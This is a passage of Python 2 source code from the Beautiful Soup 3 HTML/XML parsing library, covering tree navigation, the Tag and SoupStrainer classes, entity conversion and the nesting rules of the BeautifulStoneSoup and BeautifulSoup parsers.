text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs) fetchPrevious = findAllPrevious # Compatibility with pre-3.x def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs) def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs) fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x def findParent(self, name=None, attrs={}, **kwargs): """Returns the closest parent of this Tag that matches the given criteria.""" # NOTE: We can't use _findOne because findParents takes a different # set of arguments. r = None l = self.findParents(name, attrs, 1) if l: r = l[0] return r def findParents(self, name=None, attrs={}, limit=None, **kwargs): """Returns the parents of this Tag that match the given criteria.""" return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs) fetchParents = findParents # Compatibility with pre-3.x #These methods do the real heavy lifting. def _findOne(self, method, name, attrs, text, **kwargs): r = None l = method(name, attrs, text, 1, **kwargs) if l: r = l[0] return r def _findAll(self, name, attrs, text, limit, generator, **kwargs): "Iterates over a generator looking for things that match." if isinstance(name, SoupStrainer): strainer = name else: # Build a SoupStrainer strainer = SoupStrainer(name, attrs, text, **kwargs) results = ResultSet(strainer) g = generator() while True: try: i = g.next() except StopIteration: break if i: found = strainer.search(i) if found: results.append(found) if limit and len(results) >= limit: break return results #These Generators can be used to navigate starting from both #NavigableStrings and Tags. def nextGenerator(self): i = self while i: i = i.next yield i def nextSiblingGenerator(self): i = self while i: i = i.nextSibling yield i def previousGenerator(self): i = self while i: i = i.previous yield i def previousSiblingGenerator(self): i = self while i: i = i.previousSibling yield i def parentGenerator(self): i = self while i: i = i.parent yield i # Utility methods def substituteEncoding(self, str, encoding=None): encoding = encoding or "utf-8" return str.replace("%SOUP-ENCODING%", encoding) def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" if isinstance(s, unicode): if encoding: s = s.encode(encoding) elif isinstance(s, str): if encoding: s = s.encode(encoding) else: s = unicode(s) else: if encoding: s = self.toEncoding(str(s), encoding) else: s = unicode(s) return s class NavigableString(unicode, PageElement): def __getnewargs__(self): return (NavigableString.__str__(self),) def __getattr__(self, attr): """text.string gives you text. This is for backwards compatibility for Navigable*String, but for CData* it lets you get the string without the CData wrapper.""" if attr == 'string': return self else: raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): if encoding: return self.encode(encoding) else: return self class CData(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<![CDATA[%s]]>" % NavigableString.__str__(self, encoding) class ProcessingInstruction(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): output = self if "%SOUP-ENCODING%" in output: output = self.substituteEncoding(output, encoding) return "<?%s?>" % self.toEncoding(output, encoding) class Comment(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!--%s-->" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!%s>" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _invert(h): "Cheap function to invert a hash." i = {} for k,v in h.items(): i[v] = k return i XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", "quot" : '"', "amp" : "&", "lt" : "<", "gt" : ">" } XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&amp;%s;' % x else: return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs == None: attrs = [] self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. convert = lambda(k, val): (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) self.attrs = map(convert, self.attrs) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in range(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return apply(self.findAll, args, kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in range(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" + ")") def _sub_entity(self, x): """Used with a regular expression to substitute the appropriate XML entity for an XML special character.""" return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isString(val): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '</%s>' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" contents = [i for i in self.contents] for i in contents: if isinstance(i, Tag): i.decompose() else: i.extract() self.extract() def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): for i in range(0, len(self.contents)): yield self.contents[i] raise StopIteration def recursiveChildGenerator(self): stack = [(self, 0)] while stack: tag, start = stack.pop() if isinstance(tag, Tag): for i in range(start, len(tag.contents)): a = tag.contents[i] yield a if isinstance(a, Tag) and tag.contents: if i < len(tag.contents) - 1: stack.append((tag, i+1)) stack.append((a, 0)) break raise StopIteration # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, **kwargs): self.name = name if isString(attrs): kwargs['class'] = attrs attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if isList(markup) and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isString(markup): if self._matches(markup, self.text): found = markup else: raise Exception, "I don't know how to match against a %s" \ % markup.__class__ return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst == True and type(matchAgainst) == types.BooleanType: result = markup != None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isString(markup): markup = unicode(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif isList(matchAgainst): result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isString(markup): if isinstance(markup, unicode): matchAgainst = unicode(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def isList(l): """Convenience method that works with all 2.x versions of Python to determine whether or not something is listlike.""" return hasattr(l, '__iter__') \ or (type(l) in (types.ListType, types.TupleType)) def isString(s): """Convenience method that works with all 2.x versions of Python to determine whether or not something is stringlike.""" try: return isinstance(s, unicode) or isinstance(s, basestring) except NameError: return isinstance(s, str) def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif isList(portion): #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "<foo><bar></foo>" actually means "<foo><bar></bar></foo>". [Another possible explanation is "<foo><bar /></foo>", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), (re.compile('<!\s+([^<>]*)>'), lambda x: '<!' + x.group(1) + '>') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib: <br/> (No space between name of closing tag and tag close) <! --Comment--> (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed() except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None): # Convert the document to Unicode. markup = self.markup if isinstance(markup, unicode): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding if markup: if self.markupMassage: if not isList(self.markupMassage): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.find('start_') == 0 or methodName.find('end_') == 0 \ or methodName.find('do_') == 0: return SGMLParser.__getattr__(self, methodName) elif methodName.find('__') != 0: return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return self.SELF_CLOSING_TAGS.has_key(name) \ or self.instanceSelfClosingTags.has_key(name) def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() # Tags with just one string-owning child get the child as a # 'string' property, so that soup.tag.string is shorthand for # soup.tag.contents[0] if len(self.currentTag.contents) == 1 and \ isinstance(self.currentTag.contents[0], NavigableString): self.currentTag.string = self.currentTag.contents[0] #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): #print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = ''.join(self.currentData) if not currentData.translate(self.STRIP_ASCII_SPACES): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in range(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in range(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples: <p>Foo<b>Bar *<p>* should pop to 'p', not 'b'. <p>Foo<table>Bar *<p>* should pop to 'table', not 'p'. <p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'. <li><ul><li> *<li>* should pop to 'ul', not the first 'li'. <tr><table><tr> *<tr>* should pop to 'table', not the first 'tr' <td><tr><td> *<td>* should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = self.RESET_NESTING_TAGS.has_key(name) popTo = None inclusive = True for i in range(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers != None and p.name in nestingResetTriggers) \ or (nestingResetTriggers == None and isResetNesting and self.RESET_NESTING_TAGS.has_key(p.name)): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join(map(lambda(x, y): ' %s="%s"' % (x, y), attrs)) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print "</%s> is not real!" % name self.handle_data('</%s>' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&amp;%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '<![CDATA[': k = self.rawdata.find(']]>', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = SGMLParser.parse_declaration(self, i) except SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a <p> tag should implicitly close the previous <p> tag. <p>Para1<p>Para2 should be transformed into: <p>Para1</p><p>Para2 Some tags can be nested arbitrarily. For instance, the occurance of a <blockquote> tag should _not_ implicitly close the previous <blockquote> tag. Alice said: <blockquote>Bob said: <blockquote>Blah should NOT be transformed into: Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a <tr> tag should implicitly close the previous <tr> tag within the same <table>, but not close a <tr> tag in another table. <table><tr>Blah<tr>Blah should be transformed into: <table><tr>Blah</tr><tr>Blah but, <tr>Blah<table><tr>Blah should NOT be transformed into <tr>Blah<table></tr><tr>Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if not kwargs.has_key('smartQuotesTo'): kwargs['smartQuotesTo'] = self.HTML_ENTITIES BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ['br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ['span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center'] #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ['blockquote', 'div', 'fieldset', 'ins', 'del'] #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ['address', 'form', 'p', 'pre'] #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)") def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in range(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if getattr(self, 'declaredHTMLEncoding') or \ (self.originalEncoding == self.fromEncoding): # This is our second pass through the document, or # else an encoding was specified explicitly and it # worked. Rewrite the meta tag. newAttr = self.CHARSET_RE.sub\ (lambda(match):match.group(1) + "%SOUP-ENCODING%", contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the new information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: 